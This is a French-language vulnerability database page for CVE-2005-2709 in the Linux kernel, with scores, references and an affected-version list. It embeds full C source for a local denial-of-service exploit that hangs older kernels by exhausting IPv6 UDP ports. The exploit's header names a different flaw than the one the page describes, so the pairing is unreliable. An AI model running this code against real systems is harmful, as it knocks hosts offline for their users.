CVE-2005-2709 : Détail

CVE-2005-2709

0.22%V4
Local
2005-11-20
21h00 +00:00
2018-10-19
12h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The sysctl functionality (sysctl.c) in Linux kernel before 2.6.14.1 allows local users to cause a denial of service (kernel oops) and possibly execute code by opening an interface file in /proc/sys/net/ipv4/conf/, waiting until the interface is unregistered, then obtaining and modifying function pointers in memory that was used for the ctl_table.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 26489

Date de publication : 2005-11-08 23h00 +00:00
Auteur : Rémi Denis-Courmont
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/15365/info Linux Kernel is reported prone to a local denial-of-service vulnerability. This issue arises from a failure to properly unregister kernel resources when network devices are removed. This issue allows local attackers to deny service to legitimate users. Attackers may also be able to execute arbitrary code in the context of the kernel, but this has not been confirmed. */ /* * Linux kernel * IPv6 UDP port selection infinite loop * local denial of service vulnerability * proof of concept code * version 1.0 (Oct 29 2005) * CVE ID: CAN-2005-2973 * * by Remi Denis-Courmont < exploit at simphalempin dot com > * http://www.simphalempin.com/dev/ * * Vulnerable: * - Linux < 2.6.14 with IPv6 * * Not vulnerable: * - Linux >= 2.6.14 * - Linux without IPv6 * * Fix: * http://www.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git; * a=commit;h=87bf9c97b4b3af8dec7b2b79cdfe7bfc0a0a03b2 */ /***************************************************************************** * Copyright (C) 2005 Remi Denis-Courmont. All rights reserved. * * * * Redistribution and use in source and binary forms, with or without * * modification, are permitted provided that the following conditions * * are met: * * 1. Redistributions of source code must retain the above copyright notice, * * this list of conditions and the following disclaimer. * * 2. Redistribution in binary form must reproduce the above copyright * * notice, this list of conditions and the following disclaimer in the * * documentation and/or other materials provided with the distribution. * * * * The author's liability shall not be incurred as a result of loss of due * * the total or partial failure to fulfill anyone's obligations and direct * * or consequential loss due to the software's use or performance. * * * * The current situation as regards scientific and technical know-how at the * * time when this software was distributed did not enable all possible uses * * to be tested and verified, nor for the presence of any or all faults to * * be detected. In this respect, people's attention is drawn to the risks * * associated with loading, using, modifying and/or developing and * * reproducing this software. * * The user shall be responsible for verifying, by any or all means, the * * software's suitability for its requirements, its due and proper * * functioning, and for ensuring that it shall not cause damage to either * * persons or property. * * * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * * * The author does not either expressly or tacitly warrant that this * * software does not infringe any or all third party intellectual right * * relating to a patent, software or to any or all other property right. * * Moreover, the author shall not hold someone harmless against any or all * * proceedings for infringement that may be instituted in respect of the * * use, modification and redistrbution of this software. * *****************************************************************************/ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/resource.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> static int bind_udpv6_port (uint16_t port) { int fd; fd = socket (AF_INET6, SOCK_DGRAM, IPPROTO_UDP); if (fd != -1) { struct sockaddr_in6 addr; int val = 1; setsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &val, sizeof (val)); memset (&addr, 0, sizeof (addr)); addr.sin6_family = AF_INET6; addr.sin6_port = htons (port); if (bind (fd, (struct sockaddr *)&addr, sizeof (addr)) == 0) return fd; close (fd); } return -1; } static int get_fd_limit (void) { struct rlimit lim; getrlimit (RLIMIT_NOFILE, &lim); lim.rlim_cur = lim.rlim_max; setrlimit (RLIMIT_NOFILE, &lim); return (int)lim.rlim_max; } static void get_port_range (uint16_t *range) { FILE *stream; /* conservative defaults */ range[0] = 1024; range[1] = 65535; stream = fopen ("/proc/sys/net/ipv4/ip_local_port_range", "r"); if (stream != NULL) { unsigned i[2]; if ((fscanf (stream, "%u %u", i, i + 1) == 2) && (i[0] <= i[1]) && (i[1] < 65535)) { range[0] = (uint16_t)i[0]; range[1] = (uint16_t)i[1]; } fclose (stream); } } /* The criticial is fairly simple to raise : the infinite loop occurs when * calling bind with no speficied port number (ie zero), if and only if the * IPv6 stack cannot find any free UDP port within the local port range * (normally 32768-61000). Because this requires times more sockets than what * a process normally can open at a given time, we have to spawn several * processes. Then, the simplest way to trigger the crash condition consists * of opening up kernel-allocated UDP ports until it crashes, but that is * fairly slow (because allocation are stored in small a hash table of lists, * that are checked at each allocation). A much faster scheme involves getting * the local port range from /proc, allocating one by one, and only then, ask * for automatic (any/zero) port allocation. */ static int proof (void) { int lim, val = 2; pid_t pid, ppid; uint16_t range[2], port; lim = get_fd_limit (); if (lim <= 3) return -2; get_port_range (range); port = range[0]; ppid = getpid (); puts ("Stage 1..."); do { switch (pid = fork ()) { case 0: for (val = 3; val < lim; val++) close (val); do { if (bind_udpv6_port (port) >= 0) { if (port) port++; } else if (port && (errno == EADDRINUSE)) port++; /* skip already used port */ else if (errno != EMFILE) /* EAFNOSUPPORT -> no IPv6 stack */ /* EADDRINUSE -> not vulnerable */ exit (1); if (port > range[1]) { puts ("Stage 2... should crash quickly"); port = 0; } } while (errno != EMFILE); break; /* EMFILE: spawn new process */ case -1: exit (2); default: wait (&val); if (ppid != getpid ()) exit (WIFEXITED (val) ? WEXITSTATUS (val) : 2); } } while (pid == 0); puts ("System not vulnerable"); return -val; } int main (int argc, char *argv[]) { setvbuf (stdout, NULL, _IONBF, 0); puts ("Linux kernel IPv6 UDP port infinite loop vulnerability\n" "proof of concept code\n" "Copyright (C) 2005 Remi Denis-Courmont " "<\x65\x78\x70\x6c\x6f\x69\x74\x40\x73\x69\x6d\x70" "\x68\x61\x6c\x65\x6d\x70\x69\x6e\x2e\x63\x6f\x6d>\n"); return -proof (); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.14

Linux>>Linux_kernel >> Version 2.2.27

Linux>>Linux_kernel >> Version 2.4.1

Linux>>Linux_kernel >> Version 2.4.2

Linux>>Linux_kernel >> Version 2.4.3

Linux>>Linux_kernel >> Version 2.4.4

Linux>>Linux_kernel >> Version 2.4.5

Linux>>Linux_kernel >> Version 2.4.6

Linux>>Linux_kernel >> Version 2.4.7

Linux>>Linux_kernel >> Version 2.4.8

Linux>>Linux_kernel >> Version 2.4.9

Linux>>Linux_kernel >> Version 2.4.10

Linux>>Linux_kernel >> Version 2.4.11

Linux>>Linux_kernel >> Version 2.4.12

Linux>>Linux_kernel >> Version 2.4.13

Linux>>Linux_kernel >> Version 2.4.14

Linux>>Linux_kernel >> Version 2.4.15

Linux>>Linux_kernel >> Version 2.4.16

Linux>>Linux_kernel >> Version 2.4.17

Linux>>Linux_kernel >> Version 2.4.18

Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

      Linux>>Linux_kernel >> Version 2.4.18

        Linux>>Linux_kernel >> Version 2.4.18

          Linux>>Linux_kernel >> Version 2.4.18

            Linux>>Linux_kernel >> Version 2.4.18

              Linux>>Linux_kernel >> Version 2.4.18

                Linux>>Linux_kernel >> Version 2.4.18

                  Linux>>Linux_kernel >> Version 2.4.18

                    Linux>>Linux_kernel >> Version 2.4.19

                    Linux>>Linux_kernel >> Version 2.4.19

                      Linux>>Linux_kernel >> Version 2.4.19

                        Linux>>Linux_kernel >> Version 2.4.19

                          Linux>>Linux_kernel >> Version 2.4.19

                            Linux>>Linux_kernel >> Version 2.4.19

                              Linux>>Linux_kernel >> Version 2.4.19

                                Linux>>Linux_kernel >> Version 2.4.20

                                Linux>>Linux_kernel >> Version 2.4.21

                                Linux>>Linux_kernel >> Version 2.4.21

                                  Linux>>Linux_kernel >> Version 2.4.21

                                    Linux>>Linux_kernel >> Version 2.4.21

                                      Linux>>Linux_kernel >> Version 2.4.22

                                      Linux>>Linux_kernel >> Version 2.4.23

                                      Linux>>Linux_kernel >> Version 2.4.23

                                        Linux>>Linux_kernel >> Version 2.4.23

                                          Linux>>Linux_kernel >> Version 2.4.24

                                          Linux>>Linux_kernel >> Version 2.4.24

                                            Linux>>Linux_kernel >> Version 2.4.25

                                            Linux>>Linux_kernel >> Version 2.4.26

                                            Linux>>Linux_kernel >> Version 2.4.27

                                            Linux>>Linux_kernel >> Version 2.4.27

                                              Linux>>Linux_kernel >> Version 2.4.27

                                                Linux>>Linux_kernel >> Version 2.4.27

                                                  Linux>>Linux_kernel >> Version 2.4.27

                                                    Linux>>Linux_kernel >> Version 2.4.27

                                                      Linux>>Linux_kernel >> Version 2.4.28

                                                      Linux>>Linux_kernel >> Version 2.4.29

                                                      Linux>>Linux_kernel >> Version 2.4.29

                                                        Linux>>Linux_kernel >> Version 2.4.29

                                                          Linux>>Linux_kernel >> Version 2.4.30

                                                          Linux>>Linux_kernel >> Version 2.4.30

                                                          Linux>>Linux_kernel >> Version 2.4.30

                                                          Linux>>Linux_kernel >> Version 2.4.31

                                                          Linux>>Linux_kernel >> Version 2.4.31

                                                            Linux>>Linux_kernel >> Version 2.4.32

                                                            Linux>>Linux_kernel >> Version 2.4.32

                                                              Linux>>Linux_kernel >> Version 2.4.32

                                                                Linux>>Linux_kernel >> Version 2.4.33

                                                                Linux>>Linux_kernel >> Version 2.4.33

                                                                  Linux>>Linux_kernel >> Version 2.4.33.1

                                                                  Linux>>Linux_kernel >> Version 2.4.33.2

                                                                  Linux>>Linux_kernel >> Version 2.4.33.3

                                                                  Linux>>Linux_kernel >> Version 2.4.33.4

                                                                  Linux>>Linux_kernel >> Version 2.4.33.5

                                                                  Linux>>Linux_kernel >> Version 2.4.33.7

                                                                    Linux>>Linux_kernel >> Version 2.4.34

                                                                    Linux>>Linux_kernel >> Version 2.4.34.1

                                                                    Linux>>Linux_kernel >> Version 2.4.34.2

                                                                    Linux>>Linux_kernel >> Version 2.4.34.3

                                                                      Linux>>Linux_kernel >> Version 2.4.34.4

                                                                        Linux>>Linux_kernel >> Version 2.4.34.5

                                                                          Linux>>Linux_kernel >> Version 2.4.34.6

                                                                            Linux>>Linux_kernel >> Version 2.4.35.1

                                                                              Linux>>Linux_kernel >> Version 2.4.35.2

                                                                              Linux>>Linux_kernel >> Version 2.4.35.3

                                                                                Linux>>Linux_kernel >> Version 2.4.35.4

                                                                                  Linux>>Linux_kernel >> Version 2.4.35.5

                                                                                    Linux>>Linux_kernel >> Version 2.4.36

                                                                                    Linux>>Linux_kernel >> Version 2.4.36.1

                                                                                    Linux>>Linux_kernel >> Version 2.4.36.2

                                                                                    Linux>>Linux_kernel >> Version 2.4.36.3

                                                                                    Linux>>Linux_kernel >> Version 2.4.36.4

                                                                                    Linux>>Linux_kernel >> Version 2.4.36.5

                                                                                    Linux>>Linux_kernel >> Version 2.4.36.6

                                                                                    Linux>>Linux_kernel >> Version 2.4.36.7

                                                                                      Linux>>Linux_kernel >> Version 2.4.36.8

                                                                                        Linux>>Linux_kernel >> Version 2.4.36.9

                                                                                          Linux>>Linux_kernel >> Version 2.4.37

                                                                                          Linux>>Linux_kernel >> Version 2.4.37

                                                                                            Linux>>Linux_kernel >> Version 2.4.37.1

                                                                                              Linux>>Linux_kernel >> Version 2.4.37.2

                                                                                                Linux>>Linux_kernel >> Version 2.4.37.3

                                                                                                  Linux>>Linux_kernel >> Version 2.4.37.4

                                                                                                    Linux>>Linux_kernel >> Version 2.4.37.5

                                                                                                    Linux>>Linux_kernel >> Version 2.4.37.6

                                                                                                    Linux>>Linux_kernel >> Version 2.6.0

                                                                                                    Linux>>Linux_kernel >> Version 2.6.1

                                                                                                    Linux>>Linux_kernel >> Version 2.6.10

                                                                                                    Linux>>Linux_kernel >> Version 2.6.11

                                                                                                    Linux>>Linux_kernel >> Version 2.6.11.1

                                                                                                    Linux>>Linux_kernel >> Version 2.6.11.2

                                                                                                    Linux>>Linux_kernel >> Version 2.6.11.3

                                                                                                    Linux>>Linux_kernel >> Version 2.6.11.4

                                                                                                    Linux>>Linux_kernel >> Version 2.6.11.5

                                                                                                    Linux>>Linux_kernel >> Version 2.6.11.6

                                                                                                    Linux>>Linux_kernel >> Version 2.6.11.7

                                                                                                    Linux>>Linux_kernel >> Version 2.6.11.8

                                                                                                    Linux>>Linux_kernel >> Version 2.6.11.9

                                                                                                    Linux>>Linux_kernel >> Version 2.6.11.10

                                                                                                    Linux>>Linux_kernel >> Version 2.6.11.11

                                                                                                    Linux>>Linux_kernel >> Version 2.6.11.12

                                                                                                    Linux>>Linux_kernel >> Version 2.6.12

                                                                                                    Linux>>Linux_kernel >> Version 2.6.12.1

                                                                                                    Linux>>Linux_kernel >> Version 2.6.12.2

                                                                                                    Linux>>Linux_kernel >> Version 2.6.12.3

                                                                                                    Linux>>Linux_kernel >> Version 2.6.12.4

                                                                                                    Linux>>Linux_kernel >> Version 2.6.12.5

                                                                                                    Linux>>Linux_kernel >> Version 2.6.12.6

                                                                                                    Linux>>Linux_kernel >> Version 2.6.13

                                                                                                    Linux>>Linux_kernel >> Version 2.6.13.1

                                                                                                    Linux>>Linux_kernel >> Version 2.6.13.2

                                                                                                    Linux>>Linux_kernel >> Version 2.6.13.3

                                                                                                    Linux>>Linux_kernel >> Version 2.6.13.4

                                                                                                    Linux>>Linux_kernel >> Version 2.6.13.5

                                                                                                    Références

                                                                                                    http://www.redhat.com/support/errata/RHSA-2006-0140.html
                                                                                                    Tags : vendor-advisory, x_refsource_REDHAT
                                                                                                    http://secunia.com/advisories/18684
                                                                                                    Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                    http://secunia.com/advisories/19369
                                                                                                    Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                    http://www.redhat.com/support/errata/RHSA-2006-0101.html
                                                                                                    Tags : vendor-advisory, x_refsource_REDHAT
                                                                                                    http://www.vupen.com/english/advisories/2005/2359
                                                                                                    Tags : vdb-entry, x_refsource_VUPEN
                                                                                                    http://secunia.com/advisories/17541
                                                                                                    Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                    http://www.debian.org/security/2006/dsa-1018
                                                                                                    Tags : vendor-advisory, x_refsource_DEBIAN
                                                                                                    http://www.securityfocus.com/archive/1/428058/100/0/threaded
                                                                                                    Tags : vendor-advisory, x_refsource_FEDORA
                                                                                                    http://securitytracker.com/id?1015434
                                                                                                    Tags : vdb-entry, x_refsource_SECTRACK
                                                                                                    http://www.osvdb.org/20676
                                                                                                    Tags : vdb-entry, x_refsource_OSVDB
                                                                                                    http://www.securityfocus.com/archive/1/427981/100/0/threaded
                                                                                                    Tags : vendor-advisory, x_refsource_FEDORA
                                                                                                    https://usn.ubuntu.com/219-1/
                                                                                                    Tags : vendor-advisory, x_refsource_UBUNTU
                                                                                                    http://secunia.com/advisories/17648
                                                                                                    Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                    http://www.redhat.com/support/errata/RHSA-2006-0190.html
                                                                                                    Tags : vendor-advisory, x_refsource_REDHAT
                                                                                                    http://secunia.com/advisories/18510
                                                                                                    Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                    http://www.securityfocus.com/archive/1/428028/100/0/threaded
                                                                                                    Tags : vendor-advisory, x_refsource_FEDORA
                                                                                                    http://www.securityfocus.com/archive/1/427980/100/0/threaded
                                                                                                    Tags : vendor-advisory, x_refsource_FEDORA
                                                                                                    http://www.debian.org/security/2006/dsa-1017
                                                                                                    Tags : vendor-advisory, x_refsource_DEBIAN
                                                                                                    http://secunia.com/advisories/17504
                                                                                                    Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                    http://www.mandriva.com/security/advisories?name=MDKSA-2006:059
                                                                                                    Tags : vendor-advisory, x_refsource_MANDRIVA
                                                                                                    http://secunia.com/advisories/19374
                                                                                                    Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                    http://www.redhat.com/support/errata/RHSA-2006-0191.html
                                                                                                    Tags : vendor-advisory, x_refsource_REDHAT
                                                                                                    http://secunia.com/advisories/18562
                                                                                                    Tags : third-party-advisory, x_refsource_SECUNIA
                                                                                                    http://www.securityfocus.com/bid/15365
                                                                                                    Tags : vdb-entry, x_refsource_BID